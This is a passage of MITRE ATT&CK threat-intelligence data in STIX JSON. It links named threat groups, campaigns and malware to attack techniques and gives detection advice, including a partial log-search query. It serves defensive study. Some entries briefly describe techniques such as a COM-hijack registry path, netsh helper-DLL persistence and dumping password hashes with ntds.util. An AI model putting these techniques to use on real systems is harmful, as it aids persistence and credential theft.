2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57e7fcc7-88b1-4a60-b775-020d02efb9dc","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-24T15:45:29.584Z","description":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57e8711a-9aae-4a22-94d4-f4c8a3a8f141","created":"2023-03-31T18:12:35.414Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Industroyer","description":"Anton Cherepanov. (2017, June 12). Win32/Industroyer: A new threat for industrial controls systems. Retrieved December 18, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf"},{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T17:07:29.299Z","description":"Within the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Industroyer](https://attack.mitre.org/software/S0604) was used to target and disrupt the Ukrainian power grid substation components.(Citation: Dragos Crashoverride 2018)(Citation: ESET Industroyer)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"malware--e401d4fe-f0c9-44f0-98e6-f93487678808","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57e9b366-fac5-4320-bb76-da81953de2dc","created":"2022-10-04T20:40:33.293Z","revoked":false,"external_references":[{"source_name":"Mandiant UNC3890 Aug 2022","description":"Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.","url":"https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-04T20:40:33.293Z","description":"During [C0010](https://attack.mitre.org/campaigns/C0010), UNC3890 actors likely compromised the domain of a legitimate Israeli shipping company.(Citation: Mandiant UNC3890 Aug 2022)","relationship_type":"uses","source_ref":"campaign--ab747e62-1bcb-479f-a26b-1cd39d413d81","target_ref":"attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--57f65eb3-1f1e-4a09-af1a-6a6c4380cbc9","created":"2022-03-30T14:26:51.872Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected and abnormal accesses to network shares, especially those also associated with file activity.","modified":"2022-04-14T13:58:36.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--57f8c6d0-406d-4e97-b3ff-5b2f0274231b","created":"2020-05-13T13:20:59.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS/CISA Ransomware Targeting Healthcare October 2020","description":"DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-302a"},{"source_name":"CrowdStrike Grim Spider May 2019","description":"John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"},{"source_name":"Mandiant FIN12 Oct 2021","description":"Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.","url":"https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-12T14:30:20.652Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has used scheduled tasks to establish persistence for [TrickBot](https://attack.mitre.org/software/S0266) and other malware.(Citation: CrowdStrike Grim Spider May 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)(Citation: Mandiant FIN12 Oct 2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--580103be-ffce-4677-b24a-7092c1221ed0","type":"relationship","created":"2019-05-28T18:49:59.326Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"}],"modified":"2019-06-24T19:11:41.340Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used malware to gather credentials from FTP clients and Outlook.(Citation: Proofpoint TA505 Sep 2017)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--580254b6-1227-4c7d-a7b5-c4e7908e0acb","type":"relationship","created":"2020-07-30T14:22:12.962Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-31T13:05:31.232Z","description":"[StrongPity](https://attack.mitre.org/software/S0491) has named services to appear legitimate.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"malware--20945359-3b39-4542-85ef-08ecb4e1c174","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--581061d3-6216-4a58-aa46-3640d8e94b02","created":"2021-12-27T19:19:42.770Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Warzone Feb 2020","url":"https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/","description":"Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[WarzoneRAT](https://attack.mitre.org/software/S0670) can perform COM hijacking by setting the path to itself to the `HKCU\\Software\\Classes\\Folder\\shell\\open\\command` key with a `DelegateExecute` parameter.(Citation: Check Point Warzone Feb 2020)","modified":"2022-04-07T16:30:46.654Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--fde19a18-e502-467f-be14-58c71b4e7f4b","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5812d086-babd-4b26-8d69-62cebcfc5fc4","type":"relationship","created":"2020-07-16T15:23:48.583Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-07-16T15:23:48.583Z","description":"[Kessel](https://attack.mitre.org/software/S0487) has collected the DNS address of the infected host.(Citation: ESET ForSSHe December 2018)","relationship_type":"uses","source_ref":"malware--c984b414-b766-44c5-814a-2fe96c913c12","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--581f8dd6-edd4-467b-a3d5-3177870b0264","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Demaske Netsh Persistence","description":"Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017.","url":"https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html"}],"modified":"2020-03-28T01:00:55.161Z","description":"[netsh](https://attack.mitre.org/software/S0108) can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.(Citation: Demaske Netsh Persistence)","relationship_type":"uses","source_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","target_ref":"attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58207744-6e31-457e-b36e-b73d60bacd39","created":"2021-01-22T21:09:58.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.421Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used tasklist to enumerate processes.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--582215ef-b7dd-43c3-a4ca-3a4a14edde59","created":"2023-09-05T17:46:05.435Z","revoked":false,"external_references":[{"source_name":"Symantec FIN8 Jul 2023","description":"Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-05T17:46:05.435Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) can first decrypt with the RC4 algorithm using a hardcoded decryption key before decompressing.(Citation: Symantec FIN8 Jul 2023)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58238854-4649-4cea-a43d-aae442dc60a6","type":"relationship","created":"2020-05-15T15:04:34.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-27T23:28:38.345Z","description":"[ShimRat](https://attack.mitre.org/software/S0444) can hijack the cryptbase.dll within migwiz.exe to escalate privileges and bypass UAC controls.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5823e4cd-e6cb-4e62-8ed2-a0f296128d34","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.710Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to collect the computer name, language settings, the OS version, CPU information, disk devices, and time elapsed since system start.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--5829ee6d-68e4-44a8-828e-ba188b14c163","created":"2023-03-22T04:57:14.220Z","revoked":false,"external_references":[{"source_name":"Unit 42 Magic Hound Feb 2017","description":"Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"},{"source_name":"Microsoft Iranian Threat Actor Trends November 2021","description":"MSTIC. (2021, November 16). Evolving trends in Iranian threat actor activity – MSTIC presentation at CyberWarCon 2021. Retrieved January 12, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T04:57:14.220Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has used base64-encoded commands.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: Microsoft Iranian Threat Actor Trends November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--582f4641-f68d-4dad-96e0-eb4da4128bbf","created":"2023-07-31T18:15:33.417Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Secureworks BRONZE SILHOUETTE May 2023","description":"Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.","url":"https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T21:09:41.173Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used ntds.util to create domain controller installation media containing usernames and password hashes.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)\n","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--583335b0-7d65-4fbb-aa41-3bbbd08598cd","created":"2022-09-30T19:35:44.644Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T19:35:44.644Z","description":"For [Operation Dust Storm](https://attack.mitre.org/campaigns/C0016), the threat actors used UPX to pack some payloads.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"campaign--4603cf2f-06d0-4970-9c5d-5071b08c817f","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--583d2c3b-dd25-4f83-812a-d38cee3cdeef","type":"relationship","created":"2019-01-29T21:47:53.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Micropsia June 2017","url":"https://blog.talosintelligence.com/2017/06/palestine-delphi.html","description":"Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."}],"modified":"2019-04-17T22:05:05.951Z","description":"[Micropsia](https://attack.mitre.org/software/S0339) creates a shortcut to maintain persistence.(Citation: Talos Micropsia June 2017)","relationship_type":"uses","source_ref":"malware--8c050cea-86e1-4b63-bf21-7af4fa483349","target_ref":"attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--58401f64-b536-4a3c-a1e4-2c0d2da8db19","created":"2024-07-01T20:55:21.972Z","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-01T20:55:21.972Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can create a ZIP archive with specified files and directories.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5842b656-f3d7-43f6-a6c5-7bdf238182a3","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for newly executed processes that may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Hybrid Analysis Icacls1 June 2018","description":"Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"},{"source_name":"Hybrid Analysis Icacls2 May 2018","description":"Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.","url":"https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5849f602-f706-4ab3-84e1-44ee1a923ba9","type":"relationship","created":"2021-07-16T17:50:59.941Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-10-15T16:04:02.919Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) can use a number of different APIs for discovery and execution.(Citation: Medium Eli Salem GuLoader April 2021)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--584bbe94-c7bf-4039-970c-545da4e2bf92","type":"relationship","created":"2021-03-26T13:35:30.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT31 February 2021","url":"https://research.checkpoint.com/2021/the-story-of-jian/","description":"Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian – How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."}],"modified":"2021-03-26T13:35:30.055Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the AES256 algorithm with a SHA1 derived key to decrypt exploit code.(Citation: Check Point APT31 February 2021)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--584f5d23-4c17-4be9-8dba-27480ca9fd3d","created":"2024-09-10T16:14:16.268Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:14:16.268Z","description":"Monitor file system changes associated with exploitation, such as suspicious files dropped by browsers, Office apps, or third-party programs, which can be used for further stages of attack.\n\nAnalytic 1 - identifies file creations or modifications associated with commonly exploited software\n\nsourcetype=linux_auditd\n| search file_path IN (\"/Users/*/Library/\", \"C:\\\\Users\\\\*\\\\AppData\\\\Roaming\\\\\", \"/home/*/.config/\", \"/var/tmp/\")\n| stats count by file_path process_name user\n| where process_name IN (\"chrome.exe\", \"firefox.exe\", \"winword.exe\", \"excel.exe\", \"acrord32.exe\", \"flashplayer.exe\") 